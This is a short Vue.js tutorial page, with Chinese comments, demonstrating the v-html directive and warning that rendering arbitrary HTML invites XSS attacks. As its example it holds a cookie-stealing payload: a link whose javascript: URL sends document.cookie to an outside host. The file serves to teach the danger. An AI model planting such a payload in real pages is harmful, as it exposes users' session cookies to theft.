<!DOCTYPE html>
<html lang="ch">
<head>
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 总结：
        v-html:作用：向指定节点中渲染包含html结构的内容(就是转移html标签的意思)
        与插值语法的区别：
        v-html会替换点标签体中所有内容，{{xxx}}则是拼接内容
        v-html就是用来识别html结构的内容
        在网站上动态渲染任意html是非常危险的，容易导致xss攻击，别再用户提交的内容上使用
    -->
    <div id="demo">
        <div v-html="str2"></div>
    </div>
    <script type="text/javascript">
    Vue.config.productionTip = false //关闭生产提示
    new Vue({
        el:"#demo",
        data:{
            name:"test",
            str2:"<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>点击获取cookie</>"
        }
    })
    </script>
</body>
</html>